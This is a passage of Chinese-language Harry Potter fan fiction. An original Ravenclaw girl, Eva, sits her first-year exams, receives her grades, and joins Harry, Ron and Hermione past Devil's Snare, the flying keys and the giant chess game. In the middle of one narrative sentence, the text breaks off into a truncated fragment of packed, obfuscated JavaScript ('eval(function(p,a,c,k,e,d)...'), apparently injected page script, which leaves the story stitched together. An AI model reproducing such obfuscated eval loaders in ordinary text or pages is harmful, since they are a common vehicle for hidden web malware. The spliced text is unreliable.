下午的魔药课,气氛压抑得能拧出水来。这次是和斯莱特林一起上,地下室里阴冷潮湿的气味好像更重了,混着一股若有若无的、Eva说不清道不明的紧张感。斯内普教授走进教室时,黑袍翻飞得像暴风雨前的乌云。他的脸色比平时更苍白,嘴唇紧紧抿成一条线,黑眼睛缓缓扫过全班,目光像冰冷的探照灯,先是在拉文克劳这边扫过,尤其在Eva脸上停顿了一瞬,然后落到斯莱特林长桌——那目光里没有温度,只有一种无声的审视。 “今天熬制提神剂,”他的声音像冰面裂开,“这是你们本学期的最后一个魔药课题。我需要看到完美的珍珠母光泽和清澈的质地。”他顿了顿,声音更冷了几分,“鉴于某些同学最近的……行为严重越界,今天的课堂表现将直接反映你们是否把应有的心思放在了学业上。任何失误,都是对这门精密学科的不敬。” 教室里一片死寂。拉文克劳的学生们噤若寒蝉,斯莱特林那边也安静得出奇。Eva能感觉到旁边帕德玛的紧张,开始小心地准备比利威格蜇针和标准配料。 坩埚架到火上后,药液慢慢加热。Eva严格按照课本上的指示,顺时针搅拌,在恰好的时机加入磨碎的蛇牙。药液渐渐显现出书本上描述的、柔和的珍珠母光泽。 斯内普教授在教室里踱步,黑袍拖在地上发出轻微的沙沙声。他先是走向一组斯莱特林学生——潘西·帕金森和米里森·伯斯德。她们的坩埚里,药液颜色有些暗沉。 “帕金森,”斯内普的声音不高,但带着惯有的讥诮,“你的比利威格蜇针研磨得像沙滩上的碎石。如果不想让你的药剂喝起来像砂纸,就该多用点脑子,少用点蛮力。” 他没有扣分,但刻薄的评价让潘西的脸涨红了。他转向米里森:“伯斯德,搅拌七圈,不是五圈,也不是九圈。你的算术是和巨怪学的吗?” 教训完自己学院的学生,他像一只巨大的蝙蝠,无声地滑向拉文克劳这边。他停在Eva和帕德玛旁边的操作台——那是泰瑞·布特和迈克尔·科纳,他们的坩埚正冒着淡淡的、不太对劲的灰色烟雾。 “布特,”斯内普的声音陡然变得像鞭子一样锐利,“科纳。你们的豪猪刺加入早了整整三十秒。火候全毁。拉文克劳扣十分。重做,如果不想在期末考试中得巨怪的评价。” 泰瑞和迈克尔的脸瞬间惨白,不敢争辩,赶紧清理坩埚。 斯内普继续踱步,经过Eva和帕德玛的操作台时,他甚至连脚步都没放慢,只是那双黑眼睛锐利地扫过她们的坩埚——药液呈现出完美的珍珠母光泽。他的目光在Eva握着搅拌棒、指节因为专注而微微用力的手上停留了不到半秒,又掠过她操作台上那支格格不入的紫竹笔,嘴角几不可察地向下撇了撇,像是看到了什么令他不解但又暂时无可指摘的东西。然后他移开视线,走向下一组拉文克劳学生,准备寻找下一个扣分的理由。 整个过程,他对自己学院学生的错误只是口头讥讽,但对拉文克劳学生的失误则直接扣以重分,双标得明目张胆。 在Eva斜后方隔着几个操作台的地方,马尔福正和克拉布一组。 Eva用余光瞥见,马尔福的动作比平时僵硬,称量粉末时手甚至微微发抖。当斯内普那高大的黑色身影在教室里移动时,马尔福似乎绷得更紧了,头埋得更低,但他一次也没有抬头,只是死死盯着自己的坩埚,仿佛那是他唯一的庇护所。斯内普也完全没有走向他们的意思,或许是因为马尔福的药水至少看起来没有明显问题,又或许是因为别的什么。 下课时,学生们如释重负地逃离阴冷的地下室。Eva收拾东西时,听见斯内普教授在教室门口叫住了马尔福。 “马尔福先生,留一下。” 马尔福的脸白了,灰眼睛里闪过一丝惊慌。但他只是点点头,让克拉布和高尔先走。 Eva和帕德玛走上楼梯,在二楼平台等曼蒂。大概五分钟后,马尔福出来了,脸色比进去时更难看。他走得很快,黑袍在身后翻飞,经过她们时甚至没看一眼,径直走向斯莱特林地窖的方向。 “他看起来不太对劲。”帕德玛小声说。 Eva点点头。马尔福刚才那个样子,不像平时那个趾高气扬的少爷,更像……一个受了惊吓还没缓过来的孩子。 晚上在公共休息室,Eva试图写魔法史论文,但注意力总是飘走。宾斯教授布置的题目是“论妖精叛乱对现代巫师银行体系的影响”,她摊开羊皮纸,羽毛笔蘸了墨水,但写了两行就写不下去了。 窗外的天色渐渐暗下来。拉文克劳塔楼很高,能看到远方的天空从深蓝变成墨黑,星星一颗一颗亮起来。禁林在夜色里像一大团化不开的墨,边缘模糊不清。 “Eva。” 曼蒂走过来,在她旁边的扶手椅坐下,膝盖上摊着变形术课本,但也没在看。 “我在想昨晚的事,”曼蒂小声说,手指无意识地卷着一缕头发,“费伦泽说……喝独角兽血的人会背负永恒的诅咒,半生半死。那到底是什么东西在禁林里?为什么要喝独角兽血?” Eva摇摇头。她也不知道。但那个甜腻腐朽的气息,还有玉佩滚烫的预警,都说明那不是普通的东西。 “哈利他们肯定还在查,”曼蒂继续说,“我今天看见赫敏又抱着一堆书去图书馆了,都是关于黑魔法和诅咒的。”她顿了顿,“我们要不要……也做点什么?” Eva看着曼蒂——她的眼睛里有担心,有好奇,但更多的是那种“想做点什么又不知道能做什么”的茫然。 “麦格教授让我们把心思收回来,”Eva轻声说,“期末考试快到了。” “我知道,”曼蒂咬了咬嘴唇,“可是……如果真的有危险的东西在城堡附近呢?如果它下次不只是在禁林里呢?” 这个问题Eva也想过。但她想起爷爷信里的话:“灯不必亮如日,但须稳如磐。稳则明,明则照路。” 她现在能做的,就是站稳。好好学习,通过考试,做好自己该做的事。至于那些水面下的暗流——大人们在处理。邓布利多教授,麦格教授,还有其他教授们。他们知道的肯定比学生多。 “我们做好自己的事,”Eva说,“就是最大的帮忙。” 曼蒂看了她一会儿,最后点点头:“你说得对。” 那天晚上,Eva躺在床上很久没睡着。她听着窗外的风声,手指无意识地摸着腕上的玉佩。 玉佩温温的,稳稳的。 禁林的事像一块石头扔进心里,荡起了一圈圈涟漪。但石头沉底后,水总会恢复平静。 她现在要做的,就是让心静下来。 让涟漪慢慢平复。 然后继续向前。 日子一天天过去。城堡里的气氛渐渐恢复了正常——或者说,表面上的正常。学生们忙着复习准备期末考试,谈论的话题从“禁林危险”变成了“变形术好难”“魔药学要背的步骤太多了”。 Eva的生活也回到了轨道上。每天早起念静心口诀,上课,写作业,去图书馆。魔咒练习小组的助理工作她还在做,弗立维教授很满意,每周都给她加五分。拉文克劳沙漏里的蓝宝石慢慢增加,虽然离补上一百分还差得远,但至少有了希望。 哈利他们似乎也暂时放下了调查。Eva在图书馆看见他们时,他们面前摊着的都是课本和复习资料,不再是那些关于黑魔法和炼金术的厚书。 “邓布利多教授让我们专心考试,”一次变形术练习后,哈利对Eva说,绿眼睛里还有不甘心,但更多的是疲惫,“他说教授们会处理禁林的事。” “那就相信教授吧。”Eva说。 哈利点点头,但Eva能感觉到,他心里那根弦还绷着。那道疤痕偶尔还是会疼,虽然不如以前频繁了。 至于马尔福,他变了很多。 不是外形上的变化——他 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魔咒学实践考试在周二上午。弗立维教授叫他们挨个走进教室,完成指定的咒语。Eva被要求让一个凤梨跳踢踏舞——这是“飘浮咒”和“移动咒”的结合应用。她的凤梨跳得很稳,虽然舞步简单,但没掉下来。弗立维教授高兴地给了她一个“O”(优秀)。 变形学实践考试在周三下午。麦格教授看着他们把一只老鼠变成鼻烟盒。Eva的鼻烟盒开合顺畅,只是边缘的花纹有点模糊。麦格教授给了她一个“E”(超出预期)。 魔药学笔试在周四上午。题目很难,要写出二十种魔药材料的特性和处理方式,还有三种复杂药水的完整配方。Eva答得很仔细,把爷爷那本《东亚药用植物萃取精要》里提到的一些对比也写了进去。交卷时,她看见斯内普教授拿起她的卷子,黑眼睛扫过那些额外的注释,眉头几不可察地挑了一下。 魔法史笔试在周五下午。宾斯教授飘在讲台上方,用平板的声音念着题目。Eva努力回忆着那些枯燥的年代和事件,羽毛笔在羊皮纸上沙沙响。写到“1612年妖精叛乱的主要诉求”时,她差点睡着了,赶紧掐了一下手背。 最后一门是天文学实践考试,在周六午夜。他们爬上最高的天文塔,用黄铜望远镜观测星象,填写星图。夜晚的风很冷,但星空很美。Eva找到夏季星座:天蝎座那颗红色的心宿二,天琴座闪亮的织女星,还有天鹅座巨大的十字。辛尼斯塔教授在她旁边轻声提醒:“注意天鹅座β星的方位角……” 考完试的那个周日,所有人都像卸下了重担。礼堂里充满了轻松的笑声和谈话声。Eva坐在拉文克劳长桌,慢慢吃着早餐,感觉整个人都轻飘飘的。 “终于考完了!”曼蒂长长地舒了口气,“我现在只想睡三天三夜。” “成绩要下周才出来,”丽莎说,“但我有种不祥的预感……” “我也是,”帕德玛叹气,“魔药学最后一题我完全写错了。” Eva没说话。她感觉考得还行,但没把握。毕竟这是她在霍格沃茨的第一个学年,很多东西都是从头学起。 下午,她和曼蒂去庭院散步。阳光很好,草坪绿油油的,黑湖的水在微风下泛起细细的波纹。几个学生在湖边喂巨乌贼,笑声远远传来。 “时间过得真快,”曼蒂轻声说,“好像昨天才刚下火车,今天就快放暑假了。” Eva点点头。她想起去年九月,第一次走进这座城堡时的感觉——陌生,好奇,还有点害怕。现在,拉文克劳塔楼像是第二个家了。旋转楼梯的台阶熟悉得闭着眼睛都能数出来,公共休息室壁炉的气味成了安心的标志,连鹰形门环的问题都听出了规律。 “你暑假回中国吗?”曼蒂问。 “嗯,”Eva说,“回爷爷那儿。” “真好啊,”曼蒂羡慕地说,“我要回威尔士,我妈妈说给我准备了一大堆家务活,说我‘在外面野了一年,该收收心了’。” 两人都笑了。 走到温室附近时,她们看见海格正在给一块地松土。他巨大的身影在阳光下投下长长的影子,动作有点笨拙,但很认真。 “海格!”曼蒂挥手。 海格抬起头,看见她们,大脸上露出笑容:“嘿!考完试了?” “刚考完,”Eva说,“您在做什……” 话问了一半,她忽然注意到,海格松土的那块地旁边,泥土有被翻动过的新鲜痕迹,旁边还散落着几片巨大、湿漉漉的绿叶——那是毒触手的叶子。 海格顺着她的目光看去,表情僵了一下,赶紧用大脚把那些叶子往土里踢了踢:“哦,没什么,就是……整理一下菜地。种点南瓜,万圣节用。” 他顿了顿,声音低了些,“诺伯……在罗马尼亚过得很好。查理来信了,说它适应得很快,已经开始学飞了。” 他的眼圈有点红,但笑容是真诚的。Eva和曼蒂都松了口气。诺伯安全了,这是最好的消息。 “那就好。”曼蒂说。 海格点点头,又埋头松土了。她们继续往前走,但Eva心里那股说不清道不明的感觉又浮了上来。毒触手……海格种毒触手做什么?这种植物除了魔药课上用,好像没什么别的用途…… 但她没多想。也许海格只是喜欢种各种奇怪的植物。 晚上在公共休息室,期末成绩还没出来,但学院杯的竞争已经白热化。拉文克劳的沙漏里,蓝宝石比之前多了一些,但和其他学院比还是差得远。格兰芬多因为养龙事件被扣了一百五十分,现在垫底。斯莱特林领先,赫奇帕奇紧追其后。 “看来今年学院杯又是斯莱特林的了。”一个五年级学生叹气。 “不一定,”秋·张说,“还有年终宴会呢,邓布利多教授总会找理由加分的。” Eva坐在窗边,膝盖上摊着爷爷的笔记,但没在看。她望着窗外,夜色中的霍格沃茨安静而美丽。塔楼的灯火像星星,倒映在黑湖平静的水面上。 一年了。 从那个趴在骑士桥公寓窗台上看灰雾的女孩,到现在这个坐在拉文克劳塔楼窗边看星空的女孩。 改变了很多,又好像什么都没变。 她还是她,张丽华,Eva。 只是心里多了一些东西——朋友,知识,经历,还有那些还没解开的谜。 玉佩温温地贴在手腕上。 她轻轻摸着它,像在抚摸这一年的时光。 明天是年终宴会。 然后,暑假就要开始了。 她会回江南,回爷爷的老宅,坐在槐树下,听爷爷讲新的道理。 然后再回来。 继续学习,继续成长。 一步一步来。 窗外的风轻轻吹过塔楼,像温柔的叹息。 霍格沃茨的第一个学年,就要结束了。 25. 暗流与决定 期末考试成绩是在早餐时分批送来的。不是麦格教授在礼堂大声宣读,而是由各学院的猫头鹰,将装着成绩单的小羊皮纸卷送到每个学生手里。 那个早晨,Eva像往常一样坐在拉文克劳长桌边,小口喝着燕麦粥。窗外是六月初明媚的阳光,把礼堂照得亮堂堂的。空气里除了食物香气,还飘着一股紧张的期待。 素雪带着一小卷绑着蓝丝带的羊皮纸,轻盈地落在她面前,琥珀色的眼睛看着她。Eva解下纸卷,手指有点凉。她慢慢展开: 霍格沃茨魔法学校一年级期末成绩单 学生:Eva Zhang 学院:拉文克劳 变形术:E(超出预期) 魔咒学:O(优秀) 魔药学:E(超出预期) 草药学:A(及格) 魔法史:A(及格) 天文学:E(超出预期) 黑魔法防御术:A(及格) 评语:在魔咒学上展现出卓越的控制力与天赋,变形术与魔药学基础扎实且有独到理解。希望继续保持专注与勤勉。 签名:米勒娃·麦格(副校长) Eva盯着那个“魔咒学:O”,看了好几秒。然后她轻轻舒了口气,把成绩单仔细卷好。O——优秀。弗立维教授确实一直说她控制力好。魔药学E……她想起斯内普教授看卷子时那个几不可察的挑眉。变形术E——麦格教授给了“超出预期”,这已经是对她这学期努力的最好认可。 “怎么样?”旁边的曼蒂紧张地问,她手里也捏着自己的羊皮纸。 “还不错。”Eva说。她瞥见曼蒂的成绩单上大部分是A,魔咒学是E。“你也很好。” 曼蒂松了口气,脸上露出笑容:“我妈妈不会念叨我了……哦,丽莎,你怎么样?” 丽莎的成绩也不错,草药学还拿了个E。帕德玛的草药学是O,魔药学是E。四个女孩互相看着,都从对方眼里看到如释重负。 格兰芬多长桌那边传来一阵小小的骚动。罗恩举着自己的成绩单,看起来快哭了——全是A和E,魔药学是A,这显然远超他的预期。赫敏盯着自己的成绩单,眉头微蹙——她几乎所有科目都是O,只有黑魔法防御术是E,这让她有些不满意。哈利看着自己的成绩单,表情复杂——魔药学A,其他几个E,黑魔法防御术也是E。他抬头时,正好对上Eva的目光,对她露出一个有点勉强的笑。 Eva轻轻点了点头。过关了,这就好。 斯莱特林长桌末端,马尔福慢条斯理地展开羊皮纸。几个E,魔药学O。他脸上没什么表情,只是把成绩单收好,继续用刀叉切割着煎蛋,动作比平时更机械。自禁林那夜后,他总是一个人坐着,离克拉布和高尔都远些。Eva偶尔能感觉到他投来的目光——不再是讥诮的审视,而是一种复杂的、她读不懂的迟疑。 早餐后,学生们三三两两地离开礼堂,讨论着暑假计划。城堡里的气氛轻松了许多,但Eva能感觉到,在某些地方,有什么东西正在绷紧。 那天下午,图书馆靠窗的位置洒满六月的阳光。Eva摊开《魔法史》期末论文的修改稿,心思却飘得很远。爷爷的上午信到了,说江南入了梅,老宅的槐树叶子绿得能滴下油来,叮嘱她考完试就尽快回家。归心似箭的感觉像温水,慢慢漫上来,可心里总有一小块地方悬着,落不下来——像玉佩贴在腕上,温润,但时刻提醒着某种存在。 脚步声又急又轻。赫敏抱着几本书冲到她桌边,棕色的卷发有些凌乱,镜片后的眼睛睁得大大的。 “Eva!”她压低声音,气息不稳,“我们需要你帮忙!现在!” Eva合上书:“怎么了?” 赫敏快速扫视周围,确定没人注意,才用气声说:“是哈利……还有魔法石!我们算出来了——今天是尼可·勒梅的生日,六月六日!” Eva的心轻轻一沉。那个六百六十五岁的炼金术士的名字,像一块投入深潭的石子。 “如果魔法石真的在四楼,如果那个人想用它制作长生不老药,今天就是最后、也是最好的机会。”赫敏的声音在发抖,但每个字都咬得清晰,“因为邓布利多教授被魔法部紧急叫去伦敦了!麦格教授说今晚是斯内普值班,但她不肯只听学生的猜测就打开防护……” 她顿了顿,看着Eva,眼神里有恳求,也有一种孤注一掷的信任:“哈利……哈利说他伤疤从午饭后就一直在疼,越来越疼。像有什么东西在烧。他说这绝对是警告——今晚,那个人一定会行动。” Eva的手指无意识地碰了碰腕上的玉佩。温润的,没有异常预警。但哈利额头上那道暗红的疤痕,还有禁林里独角兽银蓝色的血,像冰冷的针扎进记忆里。费伦泽的声音在耳边回响——“永恒的诅咒,半生半死”。 “你们打算怎么做?”她听到自己问,声音平静得让自己都意外。 “我们必须进去。”赫敏的声音更低了,几乎是气音,“但哈利坚持说,不能只有我们三个。如果……如果我们猜对了,下面可能不只是机关,可能有人在那儿等着。需要有人盯着背后,需要有人能在……在情况不对时去找教授。” 她深吸一口气:“哈利说,他相信你。我也相信。在禁林那晚,你救了马尔福——不是鲁莽,是看清了该做什么。我们需要这样的冷静。我们需要一个……真正靠得住的人。” 空气忽然变得很安静。图书馆里只有远处平斯夫人整理书架的轻微响动,阳光在桌面上慢慢移动,尘埃在光柱里跳舞。 Eva看着赫敏急得发红的眼圈,想起魁地奇球场上哈利飞向金色飞贼时明亮的眼睛,想起罗恩在万圣节用漂浮咒击中巨怪木棒时的精准,想起赫敏站出来为所有人承担过错时的下巴抬起。 也想起禁林里马尔福僵住的脸,蜘蛛幽绿的复眼,自己杖尖爆发的强光——那一刻,她没时间想“该不该”,只看到“一个人,快要死了”。 爷爷说:“守中非袖手,信人非盲从。” 爸爸说:“记住你是谁。” 玉佩温温地贴着皮肤。 可如果朋友即将踏入黑暗,灯若只照自己,还算灯吗? “什么时候?”她听到自己的声音问出来,比想象中平静。 “别叫曼蒂……她家在威尔士,妈妈身体不太好,她暑假要回去帮忙照顾……”Eva说,她不希望把曼蒂托进危险。 赫敏的眼睛一下子亮了,点了点头,但随即被更深的担忧覆盖:“宵禁之后。在四楼走廊入口碰头。带上魔杖……还有,”她顿了顿,“想清楚。这可能是我们做过最危险的事。” Eva点了点头。喉咙有点发干,但心却沉甸甸地定下来——不再七上八下地乱晃,而是落到了某个实处。她知道这很冒险,知道爷爷和爸爸妈妈肯定不会同意,但她做不到在寝室里等着,想象朋友们在黑暗中独自面对可能伤害过独角兽的东西。 万圣节那晚之后,有些线就模糊了。禁林那夜之后,有些路就选定了。 那天晚上,Eva像往常一样洗漱、换睡衣。曼蒂翻着《神奇动物在哪里》的彩页,嘀咕着:“要是下学期保护神奇生物课能见到独角兽就好了……不过听说很危险。”她很快睡着了,呼吸平稳。 Eva躺在黑暗中,听着城堡远处隐约的声响。宵禁的钟声早已响过。她在黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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哈利看着她,嘴唇动了动,最后只是重重地点了点头。绿眼睛里有什么温暖的东西涌了上来,冲淡了些许恐惧。“谢谢。”他说,这次的声音更坚定了一些。 赫敏递给她一支旧笛子:“记得吗?海格说音乐。我带了哈利的这支,我们轮流吹,不能让曲子断掉。” 他们悄悄靠近那扇厚重的木门。门缝里传出低沉的、野兽般的呼吸声,还有爪子抓挠地面的“刺啦”声,在寂静的走廊里格外瘆人。路威在里面,而且是醒着的。 然而,当他们轻轻推开门时(门没锁),却看到了一幅奇异的景象:路威确实躺在那里,三个巨大的脑袋搁在前爪上,但它的眼睛都闭着,均匀的鼾声从三个喉咙里发出,汇成一股吵人的轰鸣。而在它身边的地板上,一把小巧的竖琴正在自动演奏,发出轻柔、悦耳、连绵不断的旋律。 “有人已经来过了……”哈利压低声音,脸色更加凝重。 “或者……还在里面。”罗恩的声音发颤。 赫敏示意大家安静,她仔细听了听竖琴的曲子,然后接过笛子,开始吹奏类似的旋律。笛声起初有些生涩,但很快融入了竖琴的节奏中,确保音乐不会间断。 路威在睡梦中咂了咂嘴,鼾声更响了。它一只巨大的前爪,正随意地搭在一块暗色的活板门金属环上。 “轻点……千万轻点……”罗恩用气声说,眼睛瞪得溜圆。 哈利像猫一样踮着脚,绕开路威摊开的肢体,小心地、一点一点地,把那个沉重的爪子从门环上挪开。路威在睡梦中动了动鼻子,鼾声停顿了一秒,所有人都僵住了。直到鼾声再次响起,哈利才抓住冰凉的铁环,用力向上拉—— 活板门悄无声息地打开了,下面是一片浓得化不开的黑暗,深不见底,只传来一股潮湿的泥土和植物气味。 Eva站在洞口边缘,低头看着那片黑暗。玉佩温温的,没有预警。但有什么东西在下面等着——也许是魔法石,也许是阴谋,也许是他们无法想象的黑暗。 她深吸一口气,握紧了魔杖。 有些路,选了,就得走下去。 26. 棋局之下(上) 活板门下的黑暗稠得像墨,浓得化不开。Eva先往下探了探,台阶是石头的,窄窄的,又陡又滑,上面长着薄薄的苔藓,湿漉漉的,踩上去得特别小心。 “荧光闪烁。”赫敏小声念道,魔杖尖亮起一点光,但光好像被黑暗吞掉了大半,只能勉强照亮脚下几级台阶。 哈利第一个下去,罗恩跟在后头,然后Eva,赫敏在最后,手里还举着那支旧笛子——笛声不能停,一旦停了,路威醒过来,他们可能就回不去了。 台阶一直往下,转着圈往下延伸,空气越来越冷,带着一股土腥味和腐烂植物的气味。Eva数着台阶,数到一百多的时候,前面的哈利突然停住了。 “到底了。”他的声音在狭窄的空间里带着回音。 他们站在一条低矮的石廊里,墙壁湿漉漉的,渗着水珠。廊道往前延伸,消失在黑暗里。唯一的光源是赫敏魔杖尖那点微弱的光,把影子投在墙上,拉得长长的,怪吓人的。 “继续走。”哈利说,声音有点抖,但很坚定。 他们沿着石廊往前走。脚步声在空荡荡的通道里回响,嗒,嗒,嗒,像心跳。Eva握着魔杖,手心有点汗湿。玉佩贴着皮肤,还是温温的,没有预警——至少现在,周围没有黑暗力量。 走了大概五分钟,石廊尽头出现了一扇门。门是木头的,看起来普普通通,但门缝里透出一点微弱的光,还有一股奇怪的、甜腻的气味飘出来。 哈利轻轻推开门。 门后是个房间,不大,天花板低低的,但里面长满了植物——不是温室里那些可爱的草药,是密密麻麻的、粗壮的藤蔓,叶片肥厚,颜色是诡异的深紫色。藤蔓几乎塞满了整个房间,只留出一条窄窄的通道通向另一头的门。 “魔鬼网。”赫敏小声说,眼睛在昏暗光线下闪着光,“《千种神奇药草与蕈类》里提到过,喜欢黑暗潮湿的环境,会缠住任何碰到它的东西……但怕光和火。” 她刚说完,走在最前面的罗恩已经踏了进去——他太着急了,没注意脚下。 “喂!等等——”赫敏喊,但已经晚了。 魔鬼网活了。 粗壮的藤蔓像蛇一样扭动起来,缠住了罗恩的脚踝,然后是他的小腿,迅速地往上爬。罗恩吓得大叫,拼命挣扎,但越挣扎藤蔓缠得越紧。 “别动!”赫敏喊道,“魔鬼网对挣扎反应更强烈!放松!尽量放松!” 可罗恩放松不了,藤蔓已经缠到他胸口了,勒得他脸都紫了。哈利赶紧冲过去想拉他,但藤蔓也缠住了他的手臂。 “火焰熊熊!”赫敏举起魔杖,但魔杖尖只冒出几颗零星的火星,一年级学的火焰咒太弱了,根本点不着这么粗壮的藤蔓。 Eva看着那些扭动的深紫色植物。它们看起来确实怕光——赫敏魔杖的光照到的地方,藤蔓会稍微退缩一点。但光太弱了,不够。 她想起爷爷笔记里关于“顺势”的话。魔鬼网喜欢黑暗,讨厌光和热……讨厌的是“热”本身,还是“改变”? 她没时间多想。罗恩的呼吸已经变得很急促了。 Eva举起魔杖,但不是对着藤蔓,而是对着房间的墙壁——那里有一小块裸露的石头,上面覆盖着薄薄的青苔。 “速速变形。” 她的咒语很轻,很专注。石头在魔杖尖的银光下开始改变——不是变成别的东西,是变得更……反光。石面变得光滑,像磨过的铜镜,虽然不太清晰,但足够反射光线。 然后她把魔杖对准那块变形的石头:“荧光闪烁!” 这一次,她用的魔力比平时强。魔杖尖爆出的光不是平时那种柔和的光球,而是一道集中的光束,直直射向石头,光在石面上反射,散开,变成一片更宽、更亮的光幕,照亮了大半个房间! 魔鬼网发出一阵几乎能听见的“嘶嘶”声,像被烫到一样剧烈地收缩。缠着罗恩和哈利的藤蔓迅速松开,缩回墙壁和地面,挤成一团,拼命想躲开光线。 罗恩瘫在地上,大口喘气。哈利赶紧把他拉起来,两人跌跌撞撞地冲出魔鬼网的范围。 “快走!”赫敏喊道,已经冲向另一头的门。 四个人挤进门里,赫敏立刻关上门,把魔鬼网和那片混乱的光留在后面。房间里一片漆黑,只有他们粗重的喘息声。 “梅林啊……”罗恩的声音还在发抖,“我差点……差点被勒死……” “你没事吧?”哈利问。 “还好……就是肋骨有点疼。”罗恩揉着胸口。 赫敏点亮魔杖,检查这个新房间。房间比刚才的大些,天花板高高的,空气里有股灰尘和金属混合的味道。房间里空荡荡的,只有对面墙边摆着一张长长的石桌,桌上放着几十把各式各样的钥匙——有的很大,像门把手,有的很小,像耳钉。所有钥匙都插在锁孔里,排得整整齐齐。 而在房间另一头,高高的天花板上,悬着几十把飞天扫帚,正在空中慢悠悠地转圈。扫帚下面,是一扇厚重的木门,门上挂着一把巨大的挂锁。 “找钥匙,”哈利立刻明白了,“那把能开锁的钥匙在天上飞。” 他们走到石桌前。钥匙们一动不动,插在锁孔里,看起来普普通通。但Eva注意到,每把钥匙的齿形都不一样,有些简单,有些复杂得像迷宫。 “这么多……怎么找?”罗恩仰着头看天上那些飞行的钥匙,脖子都酸了。 赫敏快速走到门前,检查那把大锁。“锁孔的形状……是蝙蝠形的,”她说,回头看向石桌,“钥匙齿形必须匹配。而且那把钥匙应该很旧了,看锁上的锈迹——配对的钥匙应该也有磨损。” Eva看着桌上那些钥匙。大部分看起来很新,闪闪发亮。但靠右边有几把明显旧些,颜色暗沉,边缘有磨损的痕迹。 “这几把可能……”她刚开口,哈利已经爬上了一把飞天扫帚。 “我去看看!”他说,脚一蹬地,扫帚升空了。 哈利的飞行技术确实好。他在空中灵活地穿梭,眼睛紧紧盯着那些飞舞的钥匙。扫帚们转得不快,但钥匙们混在一起,很难分辨。 “那把!”罗恩突然指着高处,“蓝色的那把,翅膀形状的!看起来最旧!” 哈利立刻追过去。钥匙好像有意识似的,发现被追,立刻加速,在空中乱窜。哈利紧追不舍,扫帚在空中划出急转弯的弧线。 “左边!左边!”赫敏在下面喊。 哈利一个急转,差点撞到另一把扫帚。但他稳住了,继续追。钥匙开始上下翻飞,像一只受惊的鸟。 Eva仰着头看。哈利飞得很专注,绿眼睛紧紧盯着目标,那道疤痕在额头上微微发亮——不是疼,是紧张。她想起魁地奇比赛时他抓金色飞贼的样子,也是这样专注,这样不顾一切。 终于,在一次俯冲后,哈利的手指擦到了钥匙的边缘—— “抓到了!”他大喊,紧紧攥住那把蓝色翅膀的钥匙,迅速降落。 钥匙在他手里挣扎,像活的一样。哈利跑到门前,把钥匙插进锁孔——咔嚓。 锁开了。 门后是一条狭窄的走廊,两边墙上插着火把,火光跳动着,把影子投在石地上。走廊不长,尽头是一扇厚重的石门,门上刻着古怪的符号。 “这是什么?”罗恩小声问,指着那些符号。 赫敏凑近看:“古代如尼文……好像是棋盘。” 她话音刚落,石门缓缓向内打开了。 门后是一个巨大的房间,大得像礼堂,但空荡荡的,只有地板是黑白相间的方格——一个巨大的巫师棋盘。棋子们站在棋盘上,比人还高,是石雕的,但眼睛的位置闪着红光,像活的一样。 在棋盘对面,另一扇门敞开着,透出光。 “我们得下赢这盘棋,”赫敏低声说,声音有点抖,“才能过去。” “下棋?”罗恩的眼睛亮了一下,“这个我在行!” 他走上前,仔细观察棋盘。棋子们一动不动,但红眼睛一直盯着他们。 “我们需要代替棋子,”罗恩说,指着棋盘上几个空缺的位置,“看,那里少了一个城堡,一个骑士,一个主教……我们得站上去,当棋子。” “当棋子?”哈利脸色白了,“意思是……我们会像棋子一样被攻击?” 罗恩点点头:“大概。但这是唯一的路。” 他们沉默了几秒。远处隐约传来笛声——赫敏还一直吹着,但声音已经很微弱了,断断续续的。 “没时间了,”哈利说,“罗恩,你指挥。我们听你的。” 罗恩深吸一口气,走到棋盘上,站在一个白骑士的位置上。石雕骑士立刻活了,迈着沉重的步子走下棋盘,站到一边,把位置让给他。 哈利站到了一个主教的位置,赫敏站到了城堡的位置。 Eva看着剩下的空缺——还有一个骑士,一个卒。她选择了卒的位置,因为卒在最前面,如果必须牺牲……卒总是最先被牺牲的。 她站上去时,石雕的卒也活了,走下棋盘。沉重的石头脚步声在空旷的房间里回响。 “好,”罗恩的声音在棋盘上响起,带着一种Eva从未听过的严肃,“现在听我指挥。哈利,往左前方走三格。赫敏,往右走两格。Eva……向前走一格。” 棋子们开始移动。当白方走完后,黑方的棋子也动了——一个黑骑士迈着沉重的步伐,走到棋盘中央,石剑举在空中,闪着寒光。 “它在威胁我的骑士,”罗恩低声说,“我必须应战……Eva,往左前方走一格。” Eva照做。她站到新格子上时,对面的黑卒也动了一步,直接走到了她面前——只隔着一个格子。 黑卒的石眼闪着红光,手里握着一把短石刀。Eva能感觉到它的“视线”落在自己身上,冰冷,没有生命。 棋局继续。罗恩的指挥很精准,但黑方棋力很强。几步之后,赫敏的城堡被一个黑骑士击倒了——不是真的攻击,但当黑骑士走到她的格子时,石雕的城堡发出一声闷响,碎成了一堆石块。赫敏尖叫着跳开,脸色惨白。 “对不起,赫敏!”罗恩喊道,但声音很稳,“必须这么走……哈利,斜走两格,吃掉那个黑卒!” 哈利移动到指定位置,他对面的黑卒也碎了。但紧接着,一个黑主教移动,直接威胁到了罗恩的骑士位置。 罗恩盯着棋盘,额头冒汗。他看了看自己的位置,又看了看对面的黑国王——只要再几步,就能将军。 “罗恩?”哈利小声问。 “我在想……”罗恩咬了咬牙,抬头看向Eva,“Eva,往右前方走一格。” Eva移动。现在她站在一个很危险的位置——直接面对黑王后。 “接下来……”罗恩深吸一口气,“接下来必须牺牲一个棋子,把黑王后引开。我……我会走过去。” “什么?”哈利瞪大眼睛,“不行!” “必须这样!”罗恩的声音很坚决,“这是唯一的赢法。我走过去,黑王后会吃掉我,然后哈利,你往前走三格——将军。棋就赢了。” 他说这话时,眼睛一直看着棋盘,没看他们。但Eva看到他的手在微微发抖。 “可是——”赫敏想说什么。 “没时间了!”罗恩打断她,“笛声快断了!听着,我走过去后,你们立刻冲过去,别回头。明白吗?” 不等他们回答,罗恩已经迈出了一步。 黑王后立刻动了。石雕的王后迈着优雅但沉重的步伐,走到罗恩面前,高高举起了手中的石杖。 罗恩闭上了眼睛。 石杖落下—— “盔甲护身!” Eva的咒语几乎是本能地冲口而出。她举起魔杖,不是对着黑王后(她知道那没用),而是对 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罗恩躺在地上,呻吟着,但还活着。哈利和赫敏冲过去扶他。 “你没事吧?”哈利的声音在发抖。 “肋骨……可能断了……”罗恩龇牙咧嘴,“但还活着。Eva,你刚才……” Eva放下魔杖,手臂因为刚才那个强化的防护咒而发麻。她摇摇头:“快走。笛声要停了。” 